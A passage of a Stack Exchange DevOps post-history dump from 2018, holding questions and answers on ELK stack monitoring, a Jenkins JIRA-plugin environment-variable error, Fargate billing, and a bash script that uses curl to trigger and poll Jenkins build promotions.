  <row Id="15214" PostHistoryTypeId="5" PostId="4803" RevisionGUID="63c4db1f-7030-4329-9544-0e2190a1c6be" CreationDate="2018-08-24T14:06:41.327" UserId="2494" Comment="adding monitoring tag" Text="We have tried Prometheus and Grafana. Currently it is not set up on our cluster and we are tight with resources.&#xD;&#xA;&#xD;&#xA; - What are the best ways to monitor load on an ELK stack?&#xD;&#xA; - Is there anything built in?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15215" PostHistoryTypeId="6" PostId="4803" RevisionGUID="63c4db1f-7030-4329-9544-0e2190a1c6be" CreationDate="2018-08-24T14:06:41.327" UserId="2494" Comment="adding monitoring tag" Text="&lt;monitoring&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15216" PostHistoryTypeId="2" PostId="4834" RevisionGUID="40e71115-1f94-4152-85ba-03c62277e38e" CreationDate="2018-08-24T14:42:32.407" UserId="8983" Text="Load can mean a lot with an ELK stack.&#xD;&#xA;&#xD;&#xA;For **ingestion** load, the **logstash parsing** side, you're looking at a combination of one or two things:&#xD;&#xA;&#xD;&#xA;* CPU load on the ingestion boxes.&#xD;&#xA;* If used, back-pressure in your ingestion-queue (such as Redis, AMQP, or others)&#xD;&#xA;  * This can be simple stuff like queue-size, or a fancy number like age of the oldest member of the queue.&#xD;&#xA;&#xD;&#xA;If you're in a cloud-provider that gives you a way to auto-scale your ingestion nodes, keying on CPU functions pretty well in recent Logstash versions.&#xD;&#xA;&#xD;&#xA;For **ingestion and searching**, the **ElasticSearch** side, it can depend on a couple of things due to your architecture. If you're using physical servers, it is very easy to have far more CPU capacity than I/O capacity to store the processed results. If you're using physical servers, keep an eye on **I/O queue depth** in addition to CPU loading. Also beware of the Compressed Object Pointer barrier, around 32GB of JVM HEAP. Stay under 32GB. Just do it.&#xD;&#xA;&#xD;&#xA;If you're on cloudy instances, its harder to out-strip your I/O due to the reduced core-counts. Even so, queue-depth and cpu-loading are good things to keep an eye on. If your JVM monitoring tools are up to it, tracking Garbage Collection frequency is worth it until you have a feel for what you need for RAM.&#xD;&#xA;&#xD;&#xA;For all of this, keeping an eye on consumed disk-space will tell you when you need to add more ES data-nodes or adjust your index retention settings.&#xD;&#xA;&#xD;&#xA;For **display and searching**, such as with Kibana or Grafana, I've found this to be the part of the stack I never bother looking at. At least in any way other than up/down tracking. We track CPU, but we don't alarm anything since in our experience even a 2 core box with 7GB of RAM is enough to keep up without breaking a sweat. Both of these work OK with horizontal scaling if you do run into problems.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;ELK stacks come in many sizes, from all in one boxes, all the way up to systems with routing logic to bring events to parsing and ES clusters owned by completely different parts of the organization. The monitoring needs of a small architecture (all in one) are rather different than medium architectures (discrete parsing tier, usually queue-mediated), and are different again from large architectures (multiple parsing-tiers with multiple event-stores)." ContentLicense="CC BY-SA 4.0" />
  <row Id="15219" PostHistoryTypeId="2" PostId="4835" RevisionGUID="887a2213-e1d7-4781-a1fd-7c3677a9067c" CreationDate="2018-08-24T15:42:21.367" UserId="9351" Text="I installed `JIRA Plugin` for the jenkins. It add some action in `Post-build Action` menu. One of the action is **JIRA: Update relevant issues**. &#xD;&#xA;&#xD;&#xA;When I try to access Environment Variable, it gives error.&#xD;&#xA;&#xD;&#xA;    WARNING: jira rest client get issue from jql search error. cause: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    java.util.concurrent.ExecutionException: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.getValue(AbstractFuture.java:289)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.get(AbstractFuture.java:262)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.get(AbstractFuture.java:91)&#xD;&#xA;    	at com.google.common.util.concurrent.ForwardingFuture.get(ForwardingFuture.java:69)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.DelegatingPromise.get(DelegatingPromise.java:107)&#xD;&#xA;    	at hudson.plugins.jira.JiraRestService.getIssuesFromJqlSearch(JiraRestService.java:177)&#xD;&#xA;    	at hudson.plugins.jira.JiraSession.getIssuesFromJqlSearch(JiraSession.java:136)&#xD;&#xA;    	at hudson.plugins.jira.selector.JqlIssueSelector.findIssueIds(JqlIssueSelector.java:49)&#xD;&#xA;    	at hudson.plugins.jira.Updater.perform(Updater.java:85)&#xD;&#xA;    	at hudson.plugins.jira.JiraIssueUpdater.perform(JiraIssueUpdater.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:81)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1749)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:421)&#xD;&#xA;    Caused by: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:176)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:170)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:67)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:11)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:268)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:158)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:268)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:158)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$1$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:46)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:197)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient.runInContext(SettableFuturePromiseHttpPromiseAsyncClient.java:90)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable.run(SettableFuturePromiseHttpPromiseAsyncClient.java:192)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;&#xD;&#xA;`$MY_ISSUE_ID` is valid environment variable, and I am able to access it on other section of the build.&#xD;&#xA;&#xD;&#xA;I tried `issue=${XXXX}`, `issue=XXXX`, `issue=&quot;$XXXX&quot;` etc... but all gives error.&#xD;&#xA;&#xD;&#xA;What is the way to pass `environment variable` in **jql** for `post build action`.&#xD;&#xA;&#xD;&#xA;When I gave `issue=MYPROJECT-1234`, it works fine. But, I want to set `MYPROJECT-1234` as environment variable." ContentLicense="CC BY-SA 4.0" />
  <row Id="15220" PostHistoryTypeId="1" PostId="4835" RevisionGUID="887a2213-e1d7-4781-a1fd-7c3677a9067c" CreationDate="2018-08-24T15:42:21.367" UserId="9351" Text="How to access environment variable in post-build access for jira plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="15221" PostHistoryTypeId="3" PostId="4835" RevisionGUID="887a2213-e1d7-4781-a1fd-7c3677a9067c" CreationDate="2018-08-24T15:42:21.367" UserId="9351" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15223" PostHistoryTypeId="2" PostId="4836" RevisionGUID="d3c1e01f-a467-48b6-9826-431cc8fe660c" CreationDate="2018-08-24T17:21:23.117" UserId="549" Text="## Orchestration Timers&#xD;&#xA;Regardless of the internal implementation, there is most likely an orchestrator that starts and stops a timer based on particular signals or events within the Fargate service. Basically, the charges are from when the pull command are executed until an orchestration process issues or receives the termination command/signal for your process. Conceptually, think of it as similar to wrapping a shell script in `time { :; }`.&#xD;&#xA;&#xD;&#xA;Again conceptually, you might think of the way it charges as the following pseudocode:&#xD;&#xA;&#xD;&#xA;    cpu_charges = $num_cpus * cpu_rate_per_second&#xD;&#xA;    mem_charges = $mem_size * mem_rate_per_second&#xD;&#xA;    charge_rate = cpu_charges + mem_charges&#xD;&#xA;&#xD;&#xA;    elapsed_time = time () {&#xD;&#xA;        docker pull foo_image&#xD;&#xA;        docker run --cpus $num_cpus -m $mem_size -it --rm foo_image&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    bill_for elapsed_time * charge_rate&#xD;&#xA;&#xD;&#xA;I am not currently aware of any public documentation that exposes the *real* mechanics of how this is internally implemented by AWS, but this is likely accurate enough for most practical purposes." ContentLicense="CC BY-SA 4.0" />
  <row Id="15226" PostHistoryTypeId="50" PostId="3730" RevisionGUID="8d57d357-eddb-421e-8647-565b5e77b275" CreationDate="2018-08-24T19:01:35.137" UserId="-1" />
  <row Id="15229" PostHistoryTypeId="2" PostId="4839" RevisionGUID="e0faa533-4ee2-40bb-84b5-6b1e6915921c" CreationDate="2018-08-25T10:12:33.190" UserId="9404" Text="KPI- key performance indicator or software metrics could help. for starters after a bit googling. kubernetes has self-healing mechanism in which whether thresholds could be set up to heal after exceeding some measures is something I never tried. I d love to know if it is doable though.&#xD;&#xA;[datadog][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/DataDog/the-monitor/blob/master/kubernetes/monitoring-kubernetes-performance-metrics.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="15230" PostHistoryTypeId="2" PostId="4840" RevisionGUID="2a786147-b793-4e88-a7f2-b0996331ab04" CreationDate="2018-08-25T10:21:15.613" UserId="9404" Text="1) you can run that image on windows/mac/linux etc as long as docker is installed. [List of all environments][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/install/ 2) &quot;development for solution&quot; is a bit confusing though.It is more like encapsulation on container level.OOP encapsulation. [Containers allow a developer to package up an application with all of the parts it needs, such as libraries and other dependencies][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://opensource.com/resources/what-docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="15232" PostHistoryTypeId="2" PostId="4842" RevisionGUID="e62b236e-4b9a-436a-89d8-96d054dd1eaa" CreationDate="2018-08-25T10:46:55.310" UserId="9404" Text="slave restarts the agent itself after each build ? [Conditional BuildStep Plugin][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Conditional+BuildStep+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="15234" PostHistoryTypeId="2" PostId="4844" RevisionGUID="16acf2a6-10af-4951-91f2-0bc1489d90af" CreationDate="2018-08-25T14:31:55.210" UserId="9423" Text="If you need to trigger a job from CLI and wait for its completion you can use &quot;Jenkins CLI&quot; (see [here][1]).&#xD;&#xA;&#xD;&#xA;However jenkins CLI does not support promotions so for them I came up with the following script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Trigger a promotion and wait for its completion&#xD;&#xA;    #&#xD;&#xA;    # For triggering jobs jenkins cli is sufficient: https://support.cloudbees.com/hc/en-us/articles/228392127-How-to-wait-for-build-to-finish-when-triggering-from-CLI-&#xD;&#xA;    #&#xD;&#xA;    # The script is dependent on the current jenkins implementation of:&#xD;&#xA;    # - the promotion web page (links for triggering/re-executing the promotions)&#xD;&#xA;    # - the behaviour of the XML of the promotion status&#xD;&#xA;    #&#xD;&#xA;    # The behaviour of the job run status XML is:&#xD;&#xA;    #   - if the the promotion is not yet been triggered than the response is 404 not found&#xD;&#xA;    #   - is the the promotion has been triggered&#xD;&#xA;    #     - ... but it's still waiting for an executor:  the response is 404 not found or &lt;duration&gt; is empty&#xD;&#xA;    #     - ... and has started:                         &lt;duration&gt; is empty or 0&#xD;&#xA;    #     - ... and it's finished:                       &lt;duration&gt; is a non-zero number&#xD;&#xA;    #&#xD;&#xA;    #&#xD;&#xA;    #  run syntax:&#xD;&#xA;    #    ./trigger_promotion_and_wait_for_completion.sh \&#xD;&#xA;    #       &lt;job_name&gt; \&#xD;&#xA;    #       &lt;job_run_number_to_promote&gt; \&#xD;&#xA;    #       &lt;promotion_name&gt; \&#xD;&#xA;    #       &lt;jenkins_user&gt; \&#xD;&#xA;    #       &lt;jenkins_pwd&gt; \&#xD;&#xA;    #       &lt;jenkins_url&gt; \&#xD;&#xA;    #       &lt;script_workspace_folder&gt; \&#xD;&#xA;    #       '{&quot;name&quot;: &quot;prom_param_1&quot;, &quot;value&quot;: &quot;stringvalue&quot; } , {&quot;name&quot;: &quot;prom_param_2&quot;, &quot;value&quot;: true }'&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    set -uexo pipefail&#xD;&#xA;    &#xD;&#xA;    #other debug options:&#xD;&#xA;    #PS4='+\t '&#xD;&#xA;    #set -v&#xD;&#xA;    &#xD;&#xA;    JOB_NAME=&quot;${1}&quot;&#xD;&#xA;    JOB_RUN_NUMBER=&quot;${2}&quot;&#xD;&#xA;    DEPLOY_PROMOTION_NAME=&quot;${3}&quot;&#xD;&#xA;    BUILDER_USER=&quot;${4}&quot;&#xD;&#xA;    BUILDER_PASSWORD=&quot;${5}&quot;&#xD;&#xA;    JENKINS_URL=&quot;${6}&quot;&#xD;&#xA;    WORKSPACE_FOLDER=&quot;${7}&quot;&#xD;&#xA;    PROMOTION_ARGUMENTS=&quot;${8}&quot;&#xD;&#xA;    &#xD;&#xA;    TIMEOUT=900&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;retrieving the promotion nextBuildNumber (so we can poll the promotion status and check if it's finished)...&quot;&#xD;&#xA;    PROMOTION_RUN_NUMBER=&quot;$( curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/promotion/process/${DEPLOY_PROMOTION_NAME}/api/xml&quot;  | grep -P  '&lt;nextBuildNumber&gt;(.*)&lt;/nextBuildNumber'   | sed -re 's/.*&lt;nextBuildNumber&gt;(.*)&lt;\/nextBuildNumber.*/\1/g' )&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;running the promotion...&quot;&#xD;&#xA;    echo 'only the first promotion can be triggered with &quot;Approve&quot;, while subsequent promotions are triggered with &quot;Re-execute promotion&quot;'&#xD;&#xA;    echo 'so we check in the web page if the approve link is present'&#xD;&#xA;    &#xD;&#xA;    #the link to search in the web page&#xD;&#xA;    PROMOTION_APPROVE_STRING=&quot;promotionProcess/${DEPLOY_PROMOTION_NAME}/promotionCondition/hudson.plugins.promoted_builds.conditions.ManualCondition/approve&quot;&#xD;&#xA;    &#xD;&#xA;    PROM_STATUS_URL=&quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/&quot;&#xD;&#xA;    &#xD;&#xA;    if curl -s -vvv -u${BUILDER_USER}:${BUILDER_PASSWORD}  &quot;${PROM_STATUS_URL}&quot; | grep &quot;${PROMOTION_APPROVE_STRING}&quot; ; then&#xD;&#xA;        echo &quot;The job has not yet been promoted, triggering it with 'Approve'&quot;&#xD;&#xA;        WEB_PATH=&quot;job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/promotionProcess/${DEPLOY_PROMOTION_NAME}/promotionCondition/hudson.plugins.promoted_builds.conditions.ManualCondition/approve&quot;&#xD;&#xA;        SUBMIT=&quot;Approve&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;The job has already been promoted, triggering it with 'Re-execute promotion'&quot;&#xD;&#xA;        WEB_PATH=&quot;job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/build&quot;&#xD;&#xA;        SUBMIT=&quot;Re-execute+promotion&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #note for the troubleshooting: in case the following curl fails then the error cause can be found near the string &quot;stack trace&quot;&#xD;&#xA;    CURL_OUTPUT=&quot;$(  curl -s -vvv -XPOST -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}${WEB_PATH}&quot;  \&#xD;&#xA;                           --data 'json={&#xD;&#xA;                                     &quot;parameter&quot;: [&#xD;&#xA;                                                    '&quot;${PROMOTION_ARGUMENTS}&quot;'&#xD;&#xA;                                                  ]&#xD;&#xA;                                        }&amp;Submit='&quot;${SUBMIT}&quot; 2&gt;&amp;1 )&quot;&#xD;&#xA;    &#xD;&#xA;    if ( echo &quot;${CURL_OUTPUT}&quot; |  grep -P &quot;&lt; HTTP/1.1 5\d\d&quot; ) || ( echo &quot;${CURL_OUTPUT}&quot; |  grep -P &quot;&lt; HTTP/1.1 4\d\d&quot; ) ; then&#xD;&#xA;      echo  'error in triggering the job/promotion! exiting...'&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      echo  'curl good'&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;checking promotion status until promotion is finished&quot;&#xD;&#xA;    FINISHED=no&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    INITIAL_TIME=&quot;$(date +%s)&quot;&#xD;&#xA;    while [ &quot;${FINISHED}&quot; != &quot;ok&quot; ]&#xD;&#xA;    do&#xD;&#xA;        sleep 2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        #checking if promotion is finished (we check the value of &lt;duration&gt; XML element in the job run status)&#xD;&#xA;        ERROR=&quot;&quot; ; DURATION=&quot;$(curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/promotionBuild/${PROMOTION_RUN_NUMBER}/api/xml&quot;    | grep -Po  '&lt;duration&gt;.*&lt;/duration&gt;'   | sed -re  's/&lt;duration&gt;(.*)&lt;\/duration&gt;/\1/g' )&quot;   || ERROR=&quot;yes&quot;&#xD;&#xA;        if [[ $ERROR == &quot;yes&quot; ]] ; then&#xD;&#xA;          echo &quot; the promotion has been queued but not yet started, waiting for it to start...&quot;&#xD;&#xA;          curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/promotionBuild/${PROMOTION_RUN_NUMBER}/api/xml&quot;&#xD;&#xA;          ERROR=&quot;&quot;&#xD;&#xA;          continue&#xD;&#xA;        fi  ;   ERROR=&quot;&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        #we interrupt the polling of the job/promotion status if the promotion&#xD;&#xA;        #  - is terminated&#xD;&#xA;        #  - is taking too long (there is some problem)&#xD;&#xA;        #(in the XML of the job run status the &lt;duration&gt; XML element value is initially empty, than it is 0, and eventually is the number of seconds of the run duration )&#xD;&#xA;    &#xD;&#xA;        POLLING_TIME=&quot;$(date +%s)&quot;&#xD;&#xA;        let &quot;ELAPSED_TIME=POLLING_TIME-INITIAL_TIME&quot;&#xD;&#xA;        echo &quot;ELAPSED_TIME=${ELAPSED_TIME}&quot;&#xD;&#xA;    &#xD;&#xA;        if  (( ${ELAPSED_TIME} \&gt; $TIMEOUT ))  ; then&#xD;&#xA;          echo &quot;error: the promotion has taken too long... exiting&quot;&#xD;&#xA;          exit 1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if  [[ &quot;${DURATION}&quot; != &quot;&quot; ]] ; then&#xD;&#xA;          re='^[0-9]+$'&#xD;&#xA;          if [[ $DURATION =~ $re ]] ; then&#xD;&#xA;            if (( &quot;${DURATION}&quot; \&gt; &quot;0&quot; )) ; then&#xD;&#xA;              FINISHED=ok&#xD;&#xA;            else&#xD;&#xA;              : #do nothing (the value of &lt;duration&gt; is 0 , that is the job/promotion has been started in a slave and is still running)&#xD;&#xA;            fi&#xD;&#xA;          else&#xD;&#xA;            echo &quot;error: the promotion duration is not a number. exiting...&quot;&#xD;&#xA;            exit 1&#xD;&#xA;          fi&#xD;&#xA;        else&#xD;&#xA;          :  # the job/promotion has not yet started&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        echo &quot;waiting for the promotion to finish...&quot;&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    echo &quot;Promotion finished&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;Promotion output:&quot;&#xD;&#xA;    curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/${DEPLOY_PROMOTION_NAME}/promotionBuild/${PROMOTION_RUN_NUMBER}/consoleText&quot; &gt; ${WORKSPACE_FOLDER}/promotionOutput&#xD;&#xA;    &#xD;&#xA;    cat ${WORKSPACE_FOLDER}/promotionOutput&#xD;&#xA;    &#xD;&#xA;    if [[ ! &quot;$(tail -n1 ${WORKSPACE_FOLDER}/promotionOutput)&quot; =~ &quot;SUCCESS&quot;  ]] ; then&#xD;&#xA;          echo &quot;Promotion did not successfully terminate&quot;&#xD;&#xA;          exit 1&#xD;&#xA;    else&#xD;&#xA;          echo &quot;Promotion successfully terminated&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/228392127-How-to-wait-for-build-to-finish-when-triggering-from-CLI-" ContentLicense="CC BY-SA 4.0" />
  <row Id="15235" PostHistoryTypeId="5" PostId="4844" RevisionGUID="cafbd3ca-0b82-4791-8536-ea50d359dbda" CreationDate="2018-08-25T14:37:02.980" UserId="9423" Comment="added example" Text="If you need to trigger a job from CLI and wait for its completion you can use &quot;Jenkins CLI&quot; (see [here][1]).&#xD;&#xA;&#xD;&#xA;However jenkins CLI does not support promotions so for them I came up with the following script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # Trigger a promotion and wait for its completion&#xD;&#xA;    #&#xD;&#xA;    # For triggering jobs jenkins cli is sufficient: https://support.cloudbees.com/hc/en-us/articles/228392127-How-to-wait-for-build-to-finish-when-triggering-from-CLI-&#xD;&#xA;    #&#xD;&#xA;    # The script is dependent on the current jenkins implementation of:&#xD;&#xA;    # - the promotion web page (links for triggering/re-executing the promotions)&#xD;&#xA;    # - the behaviour of the XML of the promotion status&#xD;&#xA;    #&#xD;&#xA;    # The behaviour of the job run status XML is:&#xD;&#xA;    #   - if the the promotion is not yet been triggered than the response is 404 not found&#xD;&#xA;    #   - is the the promotion has been triggered&#xD;&#xA;    #     - ... but it's still waiting for an executor:  the response is 404 not found or &lt;duration&gt; is empty&#xD;&#xA;    #     - ... and has started:                         &lt;duration&gt; is empty or 0&#xD;&#xA;    #     - ... and it's finished:                       &lt;duration&gt; is a non-zero number&#xD;&#xA;    #&#xD;&#xA;    #&#xD;&#xA;    #  run syntax:&#xD;&#xA;    #    ./trigger_promotion_and_wait_for_completion.sh \&#xD;&#xA;    #       &lt;job_name&gt; \&#xD;&#xA;    #       &lt;job_run_number_to_promote&gt; \&#xD;&#xA;    #       &lt;promotion_name&gt; \&#xD;&#xA;    #       &lt;jenkins_user&gt; \&#xD;&#xA;    #       &lt;jenkins_pwd&gt; \&#xD;&#xA;    #       &lt;jenkins_url&gt; \&#xD;&#xA;    #       &lt;script_workspace_folder&gt; \&#xD;&#xA;    #       '{&quot;name&quot;: &quot;prom_param_1&quot;, &quot;value&quot;: &quot;stringvalue&quot; } , {&quot;name&quot;: &quot;prom_param_2&quot;, &quot;value&quot;: true }'&#xD;&#xA;    #&#xD;&#xA;    #   example:&#xD;&#xA;    #    ./trigger_promotion_and_wait_for_completion.sh \&#xD;&#xA;    #       job1 \&#xD;&#xA;    #       22 \&#xD;&#xA;    #       promotion1 \&#xD;&#xA;    #       admin \&#xD;&#xA;    #       password \&#xD;&#xA;    #       http://localhost:8080/jenkins/ \&#xD;&#xA;    #       . \&#xD;&#xA;    #       '{&quot;name&quot;: &quot;prom_param_1&quot;, &quot;value&quot;: &quot;stringvalue&quot; } , {&quot;name&quot;: &quot;prom_param_2&quot;, &quot;value&quot;: true }'&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    set -uexo pipefail&#xD;&#xA;    &#xD;&#xA;    #other debug options:&#xD;&#xA;    #PS4='+\t '&#xD;&#xA;    #set -v&#xD;&#xA;    &#xD;&#xA;    JOB_NAME=&quot;${1}&quot;&#xD;&#xA;    JOB_RUN_NUMBER=&quot;${2}&quot;&#xD;&#xA;    DEPLOY_PROMOTION_NAME=&quot;${3}&quot;&#xD;&#xA;    BUILDER_USER=&quot;${4}&quot;&#xD;&#xA;    BUILDER_PASSWORD=&quot;${5}&quot;&#xD;&#xA;    JENKINS_URL=&quot;${6}&quot;&#xD;&#xA;    WORKSPACE_FOLDER=&quot;${7}&quot;&#xD;&#xA;    PROMOTION_ARGUMENTS=&quot;${8}&quot;&#xD;&#xA;    &#xD;&#xA;    TIMEOUT=900&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;retrieving the promotion nextBuildNumber (so we can poll the promotion status and check if it's finished)...&quot;&#xD;&#xA;    PROMOTION_RUN_NUMBER=&quot;$( curl -s  -u${BUILDER_USER}:${BUILDER_PASSWORD} &quot;${JENKINS_URL}job/${JOB_NAME}/promotion/process/${DEPLOY_PROMOTION_NAME}/api/xml&quot;  | grep -P  '&lt;nextBuildNumber&gt;(.*)&lt;/nextBuildNumber'   | sed -re 's/.*&lt;nextBuildNumber&gt;(.*)&lt;\/nextBuildNumber.*/\1/g' )&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;running the promotion...&quot;&#xD;&#xA;    echo 'only the first promotion can be triggered with &quot;Approve&quot;, while subsequent promotions are triggered with &quot;Re-execute promotion&quot;'&#xD;&#xA;    echo 'so we check in the web page if the approve link is present'&#xD;&#xA;    &#xD;&#xA;    #the link to search in the web page&#xD;&#xA;    PROMOTION_APPROVE_STRING=&quot;promotionProcess/${DEPLOY_PROMOTION_NAME}/promotionCondition/hudson.plugins.promoted_builds.conditions.ManualCondition/approve&quot;&#xD;&#xA;    &#xD;&#xA;    PROM_STATUS_URL=&quot;${JENKINS_URL}job/${JOB_NAME}/${JOB_RUN_NUMBER}/promotion/&quot;&#xD;&#xA;    &#xD;&#xA;    if curl -s -vvv -u${BUILDER_USER}:${BUILDER_PASSWORD}  &quot;${PROM_STATUS_URL}&quot; | grep &quot;${PROMOTION_APPROVE_STRING}&quot; ; then&#xD;&#xA;        echo &quot;The job has not yet been promoted, triggering it with 'Approve'&quot;&#xD;&#xA;        